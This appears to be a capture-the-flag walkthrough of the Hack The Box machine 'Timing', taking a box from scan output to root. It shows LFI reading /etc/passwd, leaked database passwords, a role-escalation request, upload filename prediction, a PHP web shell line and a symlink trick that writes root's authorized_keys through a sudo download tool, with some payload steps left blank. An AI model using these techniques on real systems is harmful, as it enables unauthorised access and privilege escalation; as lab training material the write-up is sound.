Nmap 7.92 scan initiated Mon Jan 24 08:52:42 2022 as: nmap -sCV -p22,80 -oN nmap_tcp
Nmap scan report for
Host is up (0.033s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 24 08:52:53 2022 -- 1 IP address (1 host up) scanned in 10.61 seconds


# Nmap 7.92 scan initiated Mon Jan 24 08:53:04 2022 as: nmap -sU -oN nmap_udp
Nmap scan report for
Host is up (0.066s latency).
Not shown: 999 closed udp ports (port-unreach)
68/udp open|filtered dhcpc

# Nmap done at Mon Jan 24 09:10:08 2022 -- 1 IP address (1 host up) scanned in 1024.67 seconds


gobuster dir -u http://timing.htb -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,bak,conf,zip,tar,xml -o htb/timing/gobuster_root.out
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://timing.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              tar,xml,php,txt,bak,conf,zip
[+] Timeout:                 10s
2022/01/24 08:57:46 Starting gobuster in directory enumeration mode
/images               (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/js                   (Status: 301) [Size: 305] [--> http://timing.htb/js/]    
/css                  (Status: 301) [Size: 306] [--> http://timing.htb/css/]   
/login.php            (Status: 200) [Size: 5609]                               
/logout.php           (Status: 302) [Size: 0] [--> ./login.php]                
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]                
/image.php            (Status: 200) [Size: 0]                                  
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]                
/index.php            (Status: 302) [Size: 0] [--> ./login.php]                
/header.php           (Status: 302) [Size: 0] [--> ./login.php]                
/footer.php           (Status: 200) [Size: 3937]                               
/server-status        (Status: 403) [Size: 275]                                
/db_conn.php          (Status: 200) [Size: 0]  

From the results of gobuster we notice that two pages responds with 200.

If we begin with trying to fuzz potential parameters on image.php we get an interesting response when doing GET /image.php?img=//etc/passwd.

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 08:21:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 25
Connection: close
Content-Type: text/html; charset=UTF-8

Hacking attempt detected!

We are able to use php wrappers to bypass the protection



list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

If we request db_conn.php we get a set of credentials

$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

We try using these creds along with different variations of the username, but with no success.

Another interesting file is upload.php


$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
} else {
    echo "Error: " . $error;

We notice that upload.php included admin_auth_check.php


include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');


After some guessing, we manage to login with the user aaron:aaron on the webpage.

We prompted with a greeting stating that we are logged in as user 2.

If we look at index.php we notice that it echoes the userid tied with the session

include_once "header.php";

<h1 class="text-center" style="padding: 200px">You are logged in as user <?php echo $_SESSION['userid']; ?>!</h1>

include_once "footer.php";

The only thing that we are able to do from this user is to edit our profile

We capture the request and notice it being made towards /profile_update.php


include "auth_check.php";

$error = "";

if (empty($_POST['firstName'])) {
    $error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
    $error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
    $error = 'Email is required.';
} else if (empty($_POST['company'])) {
    $error = 'Company is required.';

if (!empty($error)) {
    die("Error updating profile, reason: " . $error);
} else {

    include "db_conn.php";

    $id = $_SESSION['userid'];
    $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    $result = $statement->execute(array('id' => $id));
    $user = $statement->fetch();

    if ($user !== false) {

        ini_set('display_errors', '1');
        ini_set('display_startup_errors', '1');

        $firstName = $_POST['firstName'];
        $lastName = $_POST['lastName'];
        $email = $_POST['email'];
        $company = $_POST['company'];
        $role = $user['role'];

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;

        // dont persist role
        $sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";

        $stmt = $pdo->prepare($sql);

        $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
        $result = $statement->execute(array('id' => $id));
        $user = $statement->fetch();

        // but return it to avoid confusion
        $user['role'] = $role;
        $user['6'] = $role;

        echo json_encode($user, JSON_PRETTY_PRINT);

    } else {
        echo "No user with this id was found.";



The interesting part is

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;

If the role variable is not set, then it will be equal to whatever the value submitted in the POST request is.

POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=m14cqskhbjdd41q7d9qolf5nf5


And the server’s response

HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 13:50:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 419
Connection: close
Content-Type: text/html; charset=UTF-8

    "id": "2",
    "0": "2",
    "username": "aaron",
    "1": "aaron",
    "password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
    "lastName": "test",
    "3": "test",
    "firstName": "test",
    "4": "test",
    "email": "test",
    "5": "test",
    "role": "1",
    "6": "1",
    "company": "test",
    "7": "test"

With role being set to 1 we have access to the Admin Panel. Once we press that we get access to upload_avatar

We need to synch our time with the remote server in order to have our file name of the uploaded file to match the remote one.

date -s $(curl -s --head http://timing.htb | grep ^Date: | sed 's/Date: //g' | awk '{print $5}')

Next, we make a short php script that will echo the potential file name

$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . 'test';

echo "File name should be " . $file_name . PHP_EOL;
echo ""


Finally, we run :

while true; do php hash.php; done


File name should be c8a80ac7c12f14312a6e2d30fb072c26_test

And we are able to figure out the file name.

After speaking with some fellow hackers, I wasn’t able to achieve command execution with a normal <?php system($_GET['cmd']);?> which others were able to achieve. Nevertheless, doing system('whoami') works.

After getting a hint of looking into /opt, we do and observesource_backup_files.zip`. We can base64 encode this via the LFI vulnerability and then decode it locally on our machine to get the contents.

After unzipping the file we notice that it is a git repo. We check the different commits and notice a change of DB password

 git show 16de2698b5b122c93461298eab730d00273bd83e
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

diff --git a/db_conn.php b/db_conn.php
index f1c9217..5397ffa 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

With the db password we gain access as aaron via ssh.

aaron@timing:~$ cat user.txt 

Looking at the sudo privileges, we find something interesting

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils

aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar

If we run this the script

aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 

It gives us different options. If we select [1] we can enter an URL

Input >> 1      
Enter Url:
Initializing download:
File size: 5 bytes
Opening output file test.txt
Server unsupported, starting from scratch with one connection.
Starting download

Downloaded 5 byte in 0 seconds. (0.05 KB/s)

Looking at the files on our directory, we see that the file is owned by root

-rw-r--r-- 1 root  root       5 Apr  4 07:05 test.txt

If we try to write a symbolic link to /root/.ssh/authorized_keys to our public key, we can perhaps ssh with that to root

aaron@timing:~$ ln -s /root/.ssh/authorized_keys id_rsa
Enter Url:
Initializing download:
File size: 565 bytes
Opening output file id_rsa
Server unsupported, starting from scratch with one connection.
Starting download

  htb ssh -i ~/.ssh/id_rsa root@
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Apr  4 07:12:42 UTC 2022

  System load:  0.0               Processes:           174
  Usage of /:   49.2% of 4.85GB   Users logged in:     1
  Memory usage: 16%               IP address for eth0:
  Swap usage:   0%

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@timing:~# ls
axel  netutils.jar  root.txt
root@timing:~# cat root.txt